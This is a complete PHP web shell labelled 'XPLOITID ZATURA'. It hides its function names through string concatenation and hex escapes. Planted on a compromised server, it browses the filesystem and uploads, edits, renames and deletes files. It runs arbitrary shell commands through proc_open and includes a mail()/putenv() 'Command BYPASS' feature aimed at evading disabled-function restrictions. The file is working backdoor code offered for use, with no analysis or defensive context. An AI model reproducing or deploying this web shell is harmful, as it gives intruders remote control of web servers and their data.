<?php
$chd = "c"."h"."d"."i"."r";
$expl = "e"."x"."p"."l"."o"."d"."e";
$scd = "s"."c"."a"."n"."d"."i"."r";
$ril = "r"."e"."a"."l"."p"."a"."t"."h";
$st = "s"."t"."a"."t";
$isdir = "i"."s"."_"."d"."i"."r";
$isw = "i"."s"."_"."w"."r"."i"."t"."a"."b"."l"."e";
$mup = "m"."o"."v"."e"."_"."u"."p"."l"."o"."a"."d"."e"."d"."_"."f"."i"."l"."e";
$bs = "b"."a"."s"."e"."n"."a"."m"."e";
$htm = "h"."t"."m"."l"."s"."p"."e"."c"."i"."a"."l"."c"."h"."a"."r"."s";
$fpc = "f"."i"."l"."e"."_"."p"."u"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$mek = "m"."k"."d"."i"."r";
$fgc = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$drnmm = "d"."i"."r"."n"."a"."m"."e";
$unl = "u"."n"."l"."i"."n"."k";
$timezone = date_default_timezone_get();
date_default_timezone_set($timezone);
$rootDirectory = $ril($_SERVER['\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54']);
$scriptDirectory = $drnmm(__FILE__);
function x($b) {
$be = "ba"."se"."64"."_"."en"."co"."de";
return $be($b);
}
function y($b) {
$bd = "ba"."se"."64"."_"."de"."co"."de";
return $bd($b);
}
echo "<font color='black'>[ Command Bypas XPLOITID ZATURA</font><br>";
if (function_exists('mail')) {
echo "<font color='black'>[ Function mail() ] :</font><font color='green'> [ ON ]</font><br>";
} else {
echo "<font color='black'>[ Function mail() ] :<font color='red'> [ OFF ]</font><br>";
}
if (function_exists('putenv')) {
echo "<font color='black'>[ Function putenv() ] :</font><font color='green'> [ ON ]</font><br>";
} else {
echo "<font color='black'>[ Function putenv() ] :<font color='red'> [ OFF ]</font><br>";
}
foreach ($_GET as $c => $d) $_GET[$c] = y($d);
$currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
$chd($currentDirectory);
$viewCommandResult = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['fileToUpload'])) {
$target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]);
if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<hr>File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success<hr>";
} else {
echo "<hr>Sorry, there was an error uploading your file.<hr>";
}
} elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$ff = $_POST['folder_name'];
$newFolder = $currentDirectory . '/' . $ff;
if (!file_exists($newfolder)) {
if ($mek($newFolder) !== false) {
echo '<hr>Folder created successfully!';
}else{
echo '<hr>Error: Failed to create folder!';
}
}
} elseif (isset($_POST['file_name'])) {
$fileName = $_POST['file_name'];
$newFile = $currentDirectory . '/' . $fileName;
if (!file_exists($newFile)) {
if ($fpc($newFile, '') !== false) {
echo '<hr>File created successfully!' . $fileName .' ';
$fileToView = $newFile;
if (file_exists($fileToView)) {
$fileContent = $fgc($fileToView);
$viewCommandResult = '<hr><p>Result: ' . $fileName . '</p>
<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<textarea name="content" class="result-box">' . $htm($fileContent) . '</textarea><td>
<input type="hidden" name="edit_file" value="' . $fileName . '">
<input type="submit" value=" Save "></form></td>';
} else {
$viewCommandResult = '<hr><p>Error: File not found!</p>';
}
} else {
echo '<hr>Error: Failed to create file!';
}
}else{
echo '<hr>Error: File Already Exists!';
}
} elseif (isset($_POST['cmd_input'])){
$p = "p"."u"."t"."e"."n"."v";
$a = "fi"."le_p"."ut_c"."ont"."e"."nt"."s";
$m = "m"."a"."i"."l";
$base = "ba"."se"."64"."_"."de"."co"."de";
$en = "ba"."se"."64"."_"."en"."co"."de";
$drnm= "d"."i"."r"."n"."a"."m"."e";
$currentFilePath = $_SERVER['PHP_SELF'];
$doc = $_SERVER['DOCUMENT_ROOT'];
$directoryPath = $drnm($currentFilePath);
$full = $doc . $directoryPath;
$hook='';
$cmdd = $_POST['cmd_input'];
$meterpreter = $en($cmdd." > test.txt");
$viewCommandResult = '<hr><p>Result: <font color="black">base64 : ' . $meterpreter .'</br>Please Refresh and Check File test.txt, this output command<br>test.txt created = VULN<br>test.txt not created = NOT VULN<br>example access: domain.com/yourpath/path/test.txt<br>ZATURA</font><br><br></textarea>';
$m('a','a','a','a');
}elseif (isset($_POST['delete_file'])) {
$fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
if (file_exists($fileToDelete)) {
if (is_dir($fileToDelete)) {
if (deleteDirectory($fileToDelete)) {
echo '<hr>Folder deleted successfully!';
} else {
echo '<hr>Error: Failed to delete folder!';
}
} else {
if ($unl($fileToDelete)) {
echo '<hr>File deleted successfully!';
} else {
echo '<hr>Error: Failed to delete file!';
}
}
} else {
echo '<hr>Error: File or directory not found!';
}
} elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
$oldName = $currentDirectory . '/' . $_POST['old_name'];
$newName = $currentDirectory . '/' . $_POST['new_name'];
if (file_exists($oldName)) {
if (rename($oldName, $newName)) {
echo '<hr>Item renamed successfully!';
} else {
echo '<hr>Error: Failed to rename item!';
}
} else {
echo '<hr>Error: Item not found!';
}
}elseif (isset($_POST['cmd_biasa'])) {
$pp = "p"."r"."o"."c"."_"."o"."p"."e"."n";
$pc = "f"."c"."l"."o"."s"."e";
$ppc = "p"."r"."o"."c"."_"."c"."l"."o"."s"."e";
$stg = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$command = $_POST['cmd_biasa'];
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = $pp($command, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = $stg($pipes[1]);
$errors = $stg($pipes[2]);
$pc($pipes[1]);
$pc($pipes[2]);
$ppc($process);
if (!empty($errors)) {
$viewCommandResult = '<hr><p>Error: </p><textarea class="result-box">' . $htm($errors) . '</textarea>';
} else {
$viewCommandResult = '<hr><p>Result: </p><textarea class="result-box">' . $htm($output) . '</textarea>';
}
} else {
$viewCommandResult = 'Result:</p><textarea class="result-box">Error: Failed to execute command! </textarea>';
}
} elseif (isset($_POST['view_file'])) {
$fileToView = $currentDirectory . '/' . $_POST['view_file'];
if (file_exists($fileToView)) {
$fileContent = $fgc($fileToView);
$viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p>
<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<textarea name="content" class="result-box">' . $htm($fileContent) . '</textarea><td>
<input type="hidden" name="edit_file" value="' . $_POST['view_file'] . '">
<input type="submit" value=" Save "></form></td>';
} else {
$viewCommandResult = '<hr><p>Error: File not found!</p>';
}
}  elseif (isset($_POST['edit_file'])) {
$ef = $currentDirectory . '/' . $_POST['edit_file'];
$newContent = $_POST['content'];
if ($fpc($ef, $newContent) !== false) {
echo '<hr>File Edited successfully! ' . $_POST['edit_file'].'<hr>';
} else {
echo '<hr>Error: Failed Edit File! ' . $_POST['edit_file'].'<hr>';
}
}
}
echo '<hr>DIR: ';
$directories = $expl(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
$homeLinkPrinted = false;
foreach ($directories as $index => $dir) {
$currentPath .= DIRECTORY_SEPARATOR . $dir;
if ($index == 0) {
echo '/<a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
} else {
echo '/<a href="?d='. x($currentPath) . '">' . $dir . '</a>';
}
}
echo '<a href="?d=' . x($scriptDirectory) . '"> / <span style="color: green;">[ GO Home ]</span></a>';
echo '<br>';
echo '<hr><form method="post" enctype="multipart/form-data">';
echo '<hr>';
echo '<input type="file" name="fileToUpload" id="fileToUpload" placeholder="pilih file:">';
echo '<input type="submit" value="Upload File" name="submit">';
echo '</form><hr>';
echo '<table border="5"><tbody>
<tr>
<td>
<center>Command BYPASS<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form></center></td>
<td><center>Command BIASA<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<input type="text" name="cmd_biasa" placeholder="Enter command"><input type="submit" value="Run Command"></form><center></td>
<td><center>Create Folder<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<input type="text" name="folder_name" placeholder="Folder Name"><input type="submit" value="Create Folder"></form><center></td>
<td><center>Create File<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<input type="text" name="file_name" placeholder="File Name"><input type="submit" value="Create File"></form></td></tr>
</tbody></table>';
echo $viewCommandResult;
echo '<table border=1>';
echo '<br><tr><th><center>Item Name</th><th><center>Size</th><th><center>Date</th><th>Permissions</th><th><center>View</th><th><center>Delete</th><th><center>Rename</th></tr></center></center></center>';
foreach ($scd($currentDirectory) as $v) {
$u = $ril($v);
$s = $st($u);
$itemLink = $isdir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v));
$permission = substr(sprintf('%o', fileperms($u)), -4);
$writable = $isw($u);
echo '<tr>
<td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td>
<td class="size">'.filesize($u).'</td>
<td class="date" style="text-align: center;">'.date('Y-m-d H:i:s', filemtime($u)).'</td>
<td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'</td>
<td><center><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.$htm($v).'"><input type="submit" value=" View "></form></center></td>
<td><center><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.$htm($v).'"><input type="submit" value="Delete"></form></center></td>
<td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.$htm($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
</tr>';
}
echo '</table>';
function deleteDirectory($dir) {
$unl = "u"."n"."l"."i"."n"."k";
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return $unl($dir);
}
$scd = "s"."c"."a"."n"."d"."i"."r";
foreach ($scd($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}